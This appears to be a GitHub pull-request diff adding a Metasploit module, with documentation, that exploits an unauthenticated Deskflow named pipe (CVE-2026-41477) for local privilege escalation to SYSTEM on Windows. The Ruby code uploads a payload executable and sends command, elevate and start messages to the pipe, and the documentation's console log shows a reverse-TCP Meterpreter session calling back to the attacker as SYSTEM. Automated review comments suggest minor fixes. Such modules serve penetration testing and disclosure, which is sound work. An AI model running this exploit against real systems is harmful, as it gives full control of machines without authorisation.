Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
57 changes: 57 additions & 0 deletions documentation/modules/exploit/windows/local/deskflow_ipc_lpe.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
## Vulnerable Application

Deskflow (formerly Synergy) is an open-source keyboard and mouse sharing
application. The Deskflow daemon runs as `NT AUTHORITY\SYSTEM` and creates
a named pipe `\\.\pipe\deskflow-daemon` with a world-accessible DACL
(`WorldAccessOption` enabled).

Any local unprivileged user can connect to the pipe and issue IPC commands
without authentication. Sending `command=<path>`, `elevate=yes`, and `start`
causes the daemon to execute the specified binary as `NT AUTHORITY\SYSTEM`.

Affected versions:

- Deskflow stable **v1.20.0**
- Deskflow continuous build **v1.26.0.134**

## Verification Steps

1. Start `msfconsole`
2. Obtain a Meterpreter session on the target as a normal (non-admin) user on
a machine running Deskflow
3. `use exploit/windows/local/deskflow_ipc_lpe`
4. `set SESSION <id>`
5. `set LHOST <your IP>`
6. `run`
7. A new Meterpreter session running as `NT AUTHORITY\SYSTEM` should open

## Options

### WaitTimeout (advanced)

Number of seconds to wait for the SYSTEM session callback after triggering
the named pipe. Default: `45`.

## Scenarios

### Windows 10 22H2 x64, Deskflow v1.26.0.134

```
[msf](Jobs:0 Agents:1) exploit(multi/handler) >> use windows/local/deskflow_ipc_lpe
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:1) exploit(windows/local/deskflow_ipc_lpe) >> set session 11
session => 11
[msf](Jobs:0 Agents:1) exploit(windows/local/deskflow_ipc_lpe) >> run
[*] Started reverse TCP handler on 172.16.126.1:4444
[*] Uploading payload to C:\Users\katana\AppData\Local\Temp\9qPAnf67.exe...
[*] Triggering escalation via deskflow-daemon named pipe...
[*] Waiting 45s for SYSTEM session...
[*] Sending stage (230982 bytes) to 172.16.126.135
[+] SYSTEM session 12 opened
[*] Meterpreter session 12 opened (172.16.126.1:4444 -> 172.16.126.135:1370) at 2026-04-23 06:04:16 +0100

(Meterpreter 12)(C:\Windows\system32) > getuid
Server username: NT AUTHORITY\SYSTEM
(Meterpreter 12)(C:\Windows\system32) >

```
131 changes: 131 additions & 0 deletions modules/exploits/windows/local/deskflow_ipc_lpe.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Deskflow Unauthenticated IPC Named Pipe Local Privilege Escalation',
'Description' => %q{
The Deskflow daemon runs as SYSTEM and exposes a named pipe
(\\.\pipe\deskflow-daemon) with WorldAccessOption enabled.
Any local unprivileged user can connect and send IPC commands
without authentication. Sending command=<path>, elevate=yes,
and start causes the daemon to execute an arbitrary binary as
NT AUTHORITY\SYSTEM. Affects stable v1.20.0 and continuous
build v1.26.0.134.
},
'License' => MSF_LICENSE,
'Author' => [
'Chokri Hammedi (blue0x1)'
],
'References' => [
['CVE', '2026-41477'],
['GHSA', 'GHSA-6rx5-g478-775c']
],
'Platform' => 'win',
Copy link

Copilot AI Apr 23, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Module metadata leaves Privileged at the default false, but this exploit is intended to execute the payload as NT AUTHORITY\\SYSTEM. Set 'Privileged' => true in the module info so module filtering/UX correctly reflects that it yields elevated privileges.

Suggested change
'Platform' => 'win',
'Platform' => 'win',
'Privileged' => true,

Copilot uses AI. Check for mistakes.
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['meterpreter'],
'Targets' => [
['Windows x64', { 'Arch' => ARCH_X64 }],
['Windows x86', { 'Arch' => ARCH_X86 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-04-16',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)

register_advanced_options([
OptInt.new('WaitTimeout', [true, 'Seconds to wait for SYSTEM session callback', 45])
])
end

def check
h = pipe_open(0x80000000) # GENERIC_READ
return CheckCode::Safe('Named pipe deskflow-daemon not found') unless h

session.railgun.kernel32.CloseHandle(h)
CheckCode::Vulnerable('Named pipe \\.\pipe\deskflow-daemon is accessible')
end

def exploit
fail_with(Failure::NotVulnerable, 'Pipe deskflow-daemon not found') unless begin
h = pipe_open(0x80000000)
session.railgun.kernel32.CloseHandle(h) if h
h
end

tmp_dir = session.fs.file.expand_path('%TEMP%')
payload_path = "#{tmp_dir}\\#{rand_text_alphanumeric(8)}.exe"

print_status("Uploading payload to #{payload_path}...")
write_file(payload_path, generate_payload_exe)
register_file_for_cleanup(payload_path)

initial_sessions = framework.sessions.keys.dup

print_status('Triggering escalation via deskflow-daemon named pipe...')
trigger_pipe(payload_path)

print_status("Waiting #{datastore['WaitTimeout']}s for SYSTEM session...")
deadline = Time.now + datastore['WaitTimeout'].to_i
Rex::ThreadSafe.sleep(2) until (framework.sessions.keys - initial_sessions).any? || Time.now >= deadline

new_session_id = (framework.sessions.keys - initial_sessions).first
print_good("SYSTEM session #{new_session_id} opened") if new_session_id
Copy link

Copilot AI Apr 23, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If no new session is created before WaitTimeout expires, the module currently exits without indicating failure. Consider failing with a timeout error (or at least printing an error) when new_session_id is nil so operators can distinguish a real timeout from a successful run.

Suggested change
print_good("SYSTEM session #{new_session_id} opened") if new_session_id
fail_with(Failure::TimeoutExpired, "No SYSTEM session was created within #{datastore['WaitTimeout']} seconds") unless new_session_id
print_good("SYSTEM session #{new_session_id} opened")

Copilot uses AI. Check for mistakes.
end

private

PIPE_NAME = '\\\\.\\pipe\\deskflow-daemon'
GENERIC_READ_WRITE = 0xC0000000
OPEN_EXISTING = 3

def pipe_open(access)
result = session.railgun.kernel32.CreateFileW(
PIPE_NAME,
access,
0,
nil,
OPEN_EXISTING,
0,
0
)
h = result['return']
return nil if h.nil? || h == 0xFFFFFFFF || h == 0xFFFFFFFFFFFFFFFF || h.to_i < 0

h
end

def pipe_write(handle, msg)
session.railgun.kernel32.WriteFile(handle, msg, msg.bytesize, 4, nil)
end
Comment on lines +114 to +116
Copy link

Copilot AI Apr 23, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

pipe_write ignores the WriteFile result. If the write fails (e.g., broken pipe / access denied), the module will continue as if it succeeded and then just time out. Check the return value (and GetLastError/ErrorMessage) and fail early with a clear error; also consider closing the handle via ensure if you raise from inside the write loop.

Copilot uses AI. Check for mistakes.
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd think that the value would be implicitly returned? I guess I'm not sure if we get back an error or not from the railgun call?


def trigger_pipe(exe_path)
h = pipe_open(GENERIC_READ_WRITE)
fail_with(Failure::Unreachable, 'Could not open deskflow-daemon named pipe') unless h

rg = session.railgun

["command=#{exe_path}\n", "elevate=yes\n", "start\n"].each do |msg|
pipe_write(h, msg)
Rex::ThreadSafe.sleep(0.5)
end

rg.kernel32.CloseHandle(h)
end
end
Loading